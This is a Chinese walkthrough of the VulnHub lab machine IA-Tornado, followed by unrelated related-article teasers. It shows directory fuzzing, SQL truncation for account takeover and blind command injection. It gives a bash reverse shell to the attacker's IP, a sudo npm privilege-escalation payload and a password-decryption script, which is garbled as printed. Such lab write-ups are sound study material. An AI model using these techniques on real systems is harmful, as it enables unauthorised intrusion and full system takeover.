vulnhub靶场【IA系列】之Tornado

前言

靶机:IA-Tornado,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

本文所用靶场、kali镜像以及相关工具,我放置在网盘中,可以复制后面链接查看 https://pan.quark.cn/s/8585373be449

主机发现

因为是下载靶机到本地,所以是同一局域网,同一网段,同一网卡下,所以为求速度可以使用arp-scan -lnetdiscover -r 192.168.10.1/24

若想要模拟真实环境,可以使用nmap

信息收集

使用nmap扫描端口

网站信息探测

访问80端口默认界面,发现是apachee2的默认界面,查看页面源代码也未发现内容

尝试进行目录爆破

使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具进行爆破

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403

发现一个路径bluesky,其他路径无可用,访问这个路径,发现是一个前端页面,不知道这种有没有和后端交互

哇,这个界面真的很像现在大部分的网站,都是前后端分离的,不过这里的靶场不确定是否也是,所以对这个路径再进行一次扫描,可以看到还是有后端的语言php

gobuster dir -u http://192.168.10.11/bluesky -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md

或者借助浏览器插件wappalyzer也是可以发现编程语言的,这里若是发现后,就可以再使用目录爆破了

访问上面扫描出的路径,通过上面也可以看到,可用的路径两个,一个login.php一个signup.php

访问login.php

漏洞寻找

尝试输入一些弱密码、万能密码等操作,无法登录成功

再访问signup.php,发现输入后,会直接提示注册成功信息

以注册的信息进行访问login.php,并输入注册的信息进行登录

在点击portfolio时,出现下面字符,说是LFI漏洞被修复了,但是不要忘记再测试

其实这里点击功能点后,都未发现其他的利用,不过这里是php,所以测试是否有隐藏传参支持本地文件包含等,也就是进行爆破

这里先查看每个功能点的页面源代码,在portfolio这里的页面源代码中,出现敏感目录信息

这里假设不知道这个路径,对每个php文件进行路径测试,可以使用ffufwfuzz

不过这里需要先获取正在登录状态的用户的cookie才行,可以直接使用浏览器查看登录的cookie

以火狐浏览器为例,打开开发者工具,可按f12进入

或者利用工具curl

curl -X POST -d "uname=admin&upass=admin&btn=Login" http://192.168.10.11/bluesky/login.php -c c.txt
#-X选择请求方式,这里可以在查看页面源代码处发现,表单提交是POST
#-d 是POST请求体中的数据,这里的数据形式,可以借助浏览器中开发者工具,其中的网络模块,可以发现请求形式
#-c 把cookie保存在当前目录的c.txt文档中

查看c.txt即可发现cookie的名称以及值

这里获取到cookie了,那么为什么确定cookie才可以呢,这里以ffuf为例,查看返回

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php
#这是未设置爆破时的,并且未给予`cookie`

上面的返回与目录爆破时一样,都是要302跳转的。

再以添加cookie后的返回为对比

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv"

可以看到,指定cookie后,就可以直接访问了,所以这也是以cookie做身份验证的

那么尝试使用ffuf进行测试,当然使用burp抓包爆破,就通过数据包直接爆破即可,因为请求数据包中含有登录的cookie信息

不过这里字典跑了很久,并未获取到任何传参等信息,并且登录后的几个php都测试了

ffuf -c -w /usr/share/wordlists/dirb/common.txt:FUZZ1 -w /usr/share/wordlists/wfuzz/Injections/Traversal.txt:FUZZ2 -u http://192.168.10.11/bluesky/port.php?FUZZ1=FUZZ2 -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php?FUZZ=/home/tornado/imp.txt -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205

啧,已知的信息大概就这么多,这里难道不是通过传参进行文件包含的吗

给出的路径/home/tornado/imp.txt

信息泄露

分析这个路径,一般/home是存放用户的家目录,而其目录下的一般都是用户,就假设这里的路径就是家目录。表示存在用户tornado。那么之前nmap扫描的时候,目标为linux,是否可以确定这个路径具有多种表现方式

/home/tornado/imp.txt
~/imp.txt		#这里表示当前用户家目录下的imp.txt
~tornado/imp.txt	#这里表示用户tornado家目录下的imp.txt
#一般  ~  后加用户名,表示某用户的家目录

分析来看,一般网站的用户都是www-data,并且主目录不是在/home的,并且这里测试php文件有无传参,并未发现,说明确实修复了, 不过假设不通过传参呢,直接通过网址进行访问进行测试

当前的网址路径有两个,其余可以直接看到的,无意义

http://192.168.10.11
http://192.168.10.11/bluesky

把这两个url与上面三个路径进行组合

http://192.168.10.11/home/tornado/imp.txt
http://192.168.10.11/~/imp.txt
http://192.168.10.11/~tornado/imp.txt
http://192.168.10.11/bluesky/home/tornado/imp.txt
http://192.168.10.11/bluesky/~/imp.txt
http://192.168.10.11/bluesky/~tornado/imp.txt

然后使用ffuf测试哪些有返回

发现urlhttp://192.168.10.11/~tornado/imp.txt有返回,访问查看,发现全是邮箱地址

之前在进行登录的时候,用户名处就是邮箱,测试这些用户名是否存在

ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado

signup.php这里可以测试是否存在,不存在就会像之前一样,提示注册成功

使用burp抓取注册时的数据包,然后进行爆破

攻击成功后进行查看,因为这里使用的是burp社区版,所以不能直接进行搜索结果,不过可以在设置中配置匹配,这里用户已注册会返回User already registered,以这个进行匹配,就可以清晰的看清了

这里去网站看了一下,这个13是指长度,不过这里长度限制是在表单输入,和我通过抓包修改有什么关系,我已经不受表单控制了,😄

其实主要是观察这三个账户

admin@tornado
jacob@tornado
hr@tornado

不过前面既然注册了,使用burp再验证一下,奇怪的点出现了,前面manager注册成功的,这里确登录不了

分析为sql截断

前往浏览器进行手工测试,发现长度限制,那么前面注册的是什么,分析一下,在浏览器进行注册,也是有长度限制的,我是通过burp绕过这个前端的长度限制。

那么,通过burp注册的账户,到了数据库怎么处理的,或者说没到数据库的时候经过什么处理了。

直接输入长度限制的账号manager@torna,啧,登录成功了

好家伙,说明这里前端的长度限制和sql是一样的,或者说前端是可修改长度,sql是进行截断操作

这里长度限制为13,那么通过这种形式,测试sql在进行截断的时候,是否还进行数据库中用户的检验,若没有,就可以存在多个用户了,尤其是空格之类的。

admin@tornado a
jacob@tornado a
hr@tornado    a

之后直接登录admin@tornado,以及注册的密码,发现直接登录成功,但是查看这个功能点,还是不行

再换一个注册jacob@tornado a,然后以jacob@tornado登录,好嘛,这里可以看到了

发现这里输入什么就会返回什么,这不就是很好的xss吗,但是这里要xss还有什么用吗,都已经登录了,尝试试试输入一些命令,看其能否执行

命令注入

经过测试,输入id、ls等,直接返回这些字符,不过,我这里测试一下ping的时候,发现问题。

我刚开始直接输入ping 127.0.0.1,因为是linux界面,所以一直在加载,那么,大概就清楚了。然后我把靶机重启了,然后重新验证,只发送5个包,ping -c 127.0.0.1,发现真的有变化,确定是可以执行命令,只是不把回显返回

尝试进行shell反弹,先在kali中使用nc开启监听9999端口,然后输入下面命令,并执行

/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'

提权

提权至catchme用户

使用find寻找具有SUID权限的文件,发现sudo,直接尝试,发现不需要密码,有一个用户catchme的文件可执行

find / -perm -4000 -print 2>/dev/null

对于不知道npmsudo提权,可以查看网站gtfobins.github.io中的帮助

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 tmp.Veh2PZ0bMR
sudo -u catchme npm -C $TF --unsafe-perm i

使用dpkg查看python版本,然后使用python获取交互式界面

dpkg -l | grep python
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权至root用户

查看这个用户的家目录

把代码中已经加密的那一串尝试进行分析,因为执行过这个脚本,发现不知道输入什么字符加密了。

不过这里可以通过源代码给进行反写,不会写代码就直接丢给ai,这里可以提供代码

import string# 待解密的加密字符串
encrypted_text = "hcjqnnsotrrwnqc"for key in string.printable:if len(key) > 1:continues = "abcdefghijklmnopqrstuvwxyz"s = s.replace(key, '')s = key + sdecrypted_text = ""for n in encrypted_text:j = ord(n)if j == ord(key):j = ord('a')decrypted_text += chr(j)elif n > 'a' and n <= key:j = j + 1decrypted_text += chr(j)elif n > key:decrypted_text += nelif ord(n) == 32:decrypted_text += chr(32)elif j >= 48 and j <= 57:decrypted_text += chr(j)elif j >= 33 and j <= 47:decrypted_text += chr(j)elif j >= 58 and j <= 64:decrypted_text += chr(j)elif j >= 91 and j <= 96:decrypted_text += chr(j)elif j >= 123 and j <= 126:decrypted_text += chr(j)print(decrypted_text)

然后执行这个脚本,把结果重定向到一个文件中

其实数据不多,查看一下,就发现一个引人idkrootpassword

把结果进行一个ssh爆破,针对root,因为已知的两个用户都用过了

查看最终文件

总结

该靶机主要考察以下几点

  1. 对于网站路径,以及本地文件包含的注入点测试
  2. 对于linux~表示什么意思,以及~用户表示什么意思,以及/home是存放什么的
  3. 对于sql截断注入的了解,要测试后,才能知道,这里就是观察到注册成功,但是无法成功登录的情况进行具体分析
  4. 对于输入框,输入什么返回什么,若是未登录状态,使用xss可行,当然,实际情况中,若是真有,可以构造链接,发送给别人。这里是要获取shell,所以测试命令注入方面。虽然没有回显,但是在执行需要时间的命令时,明显发现是可执行命令的
  5. 对于sudo提权的一些方法,这里是npm
  6. 对于python代码,或者能获取到关键信息也行,现在ai发展迅速,可以通过ai直接写出逆向解密的代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/4915.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

不用编程即可实现多台PLC的MQTT协议JSON文件发布与订阅的智能网关的配置说明

IGT-SER系列智能网关支持各种PLC的以太网和串口协议&#xff0c;以及Modbus、OPC通讯&#xff0c;通过网关所带的参数配置工具软件&#xff0c;不用编程&#xff0c;即可打包和解析JSON格式的设备数据&#xff0c;通过MQTT、HTTP等协议发布和订阅。相关案例 IGT-SER系列智能网关…

为什么相关性不是因果关系?人工智能中的因果推理探秘

目录 一、背景 &#xff08;一&#xff09;聚焦当下人工智能 &#xff08;二&#xff09;基于关联框架的人工智能 &#xff08;三&#xff09;基于因果框架的人工智能 二、因果推理的基本理论 &#xff08;一&#xff09;因果推理基本范式&#xff1a;因果模型&#xff0…

ARCGIS国土超级工具集1.3更新说明

ARCGIS国土超级工具集V1.3版本&#xff0c;功能已增加至49 个。在V1.2的基础上修复了若干使用时发现的BUG&#xff0c;完善了部分已有的功能&#xff0c;新增了“面要素狭长面检测分割”等功能&#xff0c;新工具使用说明如下&#xff1a; 一、勘测定界工具栏更新土地分类面积表…

阿里云 Serverless 助力盟主直播:高并发下的稳定性和成本优化

在直播场景中&#xff0c;阿里云 Serverless 应用引擎 SAE 提供的无缝弹性伸缩与极速部署能力&#xff0c;确保直播间高并发时的流畅体验&#xff0c;降低了我们的运营成本&#xff0c;简化了运维流程。结合阿里云云原生数据库 PolarDB 的 Serverless 能力&#xff0c;实现了数…

网络编程 | UDP组播通信

1、什么是组播 在上一篇博客中&#xff0c;对UDP的广播通信进行了由浅入深的总结梳理&#xff0c;本文继续对UDP的知识体系进行探讨&#xff0c;旨在将UDP的组播通信由浅入深的讲解清楚。 组播是介于单播与广播之间&#xff0c;在一个局域网内&#xff0c;将某些主机添加到组中…

日历热力图,月度数据可视化图表(日活跃图、格子图)vue组件

日历热力图&#xff0c;月度数据可视化图表&#xff0c;vue组件 先看效果&#x1f447; 在线体验https://www.guetzjb.cn/calanderViewGraph/ 日历图简单划分为近一年时间&#xff0c;开始时间是 上一年的今天&#xff0c;例如2024/01/01 —— 2025/01/01&#xff0c;跨度刚…

使用nginx搭建通用的图片代理服务器,支持http/https/重定向式图片地址

从http切换至https 许多不同ip的图片地址需要统一进行代理 部分图片地址是重定向地址 nginx配置 主站地址&#xff1a;https://192.168.123.100/ 主站nginx配置 server {listen 443 ssl;server_name localhost;#ssl证书ssl_certificate ../ssl/ca.crt; #私钥文件ssl_ce…

WPS数据分析000001

目录 一、表格的新建、保存、协作和分享 新建 保存 协作 二、认识WPS表格界面 三、认识WPS表格选项卡 开始选项卡 插入选项卡 页面布局选项卡 公式选项卡 数据选项卡 审阅选项卡 视图选项卡 会员专享选项卡 一、表格的新建、保存、协作和分享 新建 ctrlN------…

使用 HTML 开发 Portal 页全解析

前言 在当今数字化时代&#xff0c;网站作为企业和个人展示信息、提供服务的重要窗口&#xff0c;其重要性不言而喻。而 Portal 页&#xff0c;作为网站的核心页面之一&#xff0c;承担着引导用户、整合信息等关键任务。那么&#xff0c;如何使用 HTML 开发一个功能齐全、界面…

Spring Boot 项目启动报错 “找不到或无法加载主类” 解决笔记

一、问题描述 在使用 IntelliJ IDEA 开发基于 Spring Boot 框架的 Java 程序时&#xff0c;原本项目能够正常启动。但在后续编写代码并重建项目后&#xff0c;再次尝试运行却出现了 “错误&#xff1a;找不到或无法加载主类 com.example.springboot.SpringbootApplication” 的…

上位机工作感想-2024年工作总结和来年计划

随着工作年限的增增长&#xff0c;发现自己越来越不喜欢在博客里面写一些掺杂自己感想的东西了&#xff0c;或许是逐渐被工作逼得“成熟”了吧。2024年&#xff0c;学到了很多东西&#xff0c;做了很多项目&#xff0c;也帮别人解决了很多问题&#xff0c;唯独没有涨工资。来这…

ChatGPT被曝存在爬虫漏洞,OpenAI未公开承认

OpenAI的ChatGPT爬虫似乎能够对任意网站发起分布式拒绝服务&#xff08;DDoS&#xff09;攻击&#xff0c;而OpenAI尚未承认这一漏洞。 本月&#xff0c;德国安全研究员Benjamin Flesch通过微软的GitHub分享了一篇文章&#xff0c;解释了如何通过向ChatGPT API发送单个HTTP请求…

《keras 3 内卷神经网络》

keras 3 内卷神经网络 作者&#xff1a;Aritra Roy Gosthipaty 创建日期&#xff1a;2021/07/25 最后修改时间&#xff1a;2021/07/25 描述&#xff1a;深入研究特定于位置和通道无关的“内卷”内核。 &#xff08;i&#xff09; 此示例使用 Keras 3 在 Colab 中查看 GitHub …

GIFT ICA 下载记录

1.帮助文档 Group ICA/IVA Of fMRI Toolbox&#xff1b;【GIFT介绍】 Group ICA of fMRI Toolbox (GIFT) Walk Through&#xff1b;【流程介绍】 GIFT v1.3c Functions Srinivas Rachakonda, Eric Egolf and Vince Calhoun【流程解释】 2.下载记录 从官网下载程序包&#xff0…

LLMs(大型语言模型)的多智能体:Auto-GPT

LLMs(大型语言模型)的多智能体:Auto-GPT 是指在一个系统中集成多个具有不同能力、角色和任务的智能体,这些智能体能够相互协作、沟通和交互,以共同完成复杂的任务或解决复杂的问题。每个智能体都可以被视为一个独立的实体,具有自己的策略、目标和知识库,通过相互之间的…

【C++】C++11

目录 1. 整体学习思维导图 2. {}列表初始化 2.1 单个对象情况 2.2 多对象情况 3. 右值引用和移动语义 3.1 左值和右值 3.2 左值引用和右值引用 3.3 引用延迟生命周期 3.4 左值和右值的参数匹配 4. 左值引用和右值引用 4.1 左值引用 4.2 右值引用 5. 移动构造和移动…

无人机飞手考证难度增加,实操、地面站教学技术详解

随着无人机技术的快速发展和广泛应用&#xff0c;无人机飞手考证的难度确实在不断增加。这主要体现在对飞手的实操技能和地面站操作技术的要求上。以下是对无人机飞手考证中实操和地面站教学技术的详细解析&#xff1a; 一、实操教学技术详解 1. 无人机基础知识学习&#xff1…

解决npm install安装出现packages are looking for funding run `npm fund` for details问题

当我们运行npm install时&#xff0c;可能会收到类似以下的提示信息&#xff1a;“x packages are looking for funding.” 这并不是错误提示&#xff0c;也不会影响项目的正常运行。其实实在提醒有一些软件包正在寻求资金支持。 根据提示输入npm fund可以查看详细的信息&#…

程序员不可能不知道的常见锁策略

前面我们学习过线程不安全问题&#xff0c;我们通过给代码加锁来解决线程不安全问题&#xff0c;在生活中我们也知道有很多种类型的锁&#xff0c;同时在代码的世界当中&#xff0c;也对应着很多类型的锁&#xff0c;今天我们对锁一探究竟&#xff01; 1. 常见的锁策略 注意: …

当设置dialog中有el-table时,并设置el-table区域的滚动,看到el-table中多了一条横线

问题&#xff1a;当设置dialog中有el-table时&#xff0c;并设置el-table区域的滚动&#xff0c;看到el-table中多了一条横线&#xff1b; 原因&#xff1a;el-table有一个before的伪元素作为表格的下边框下&#xff0c;初始的时候已设置&#xff0c;在滚动的时候并没有重新设置…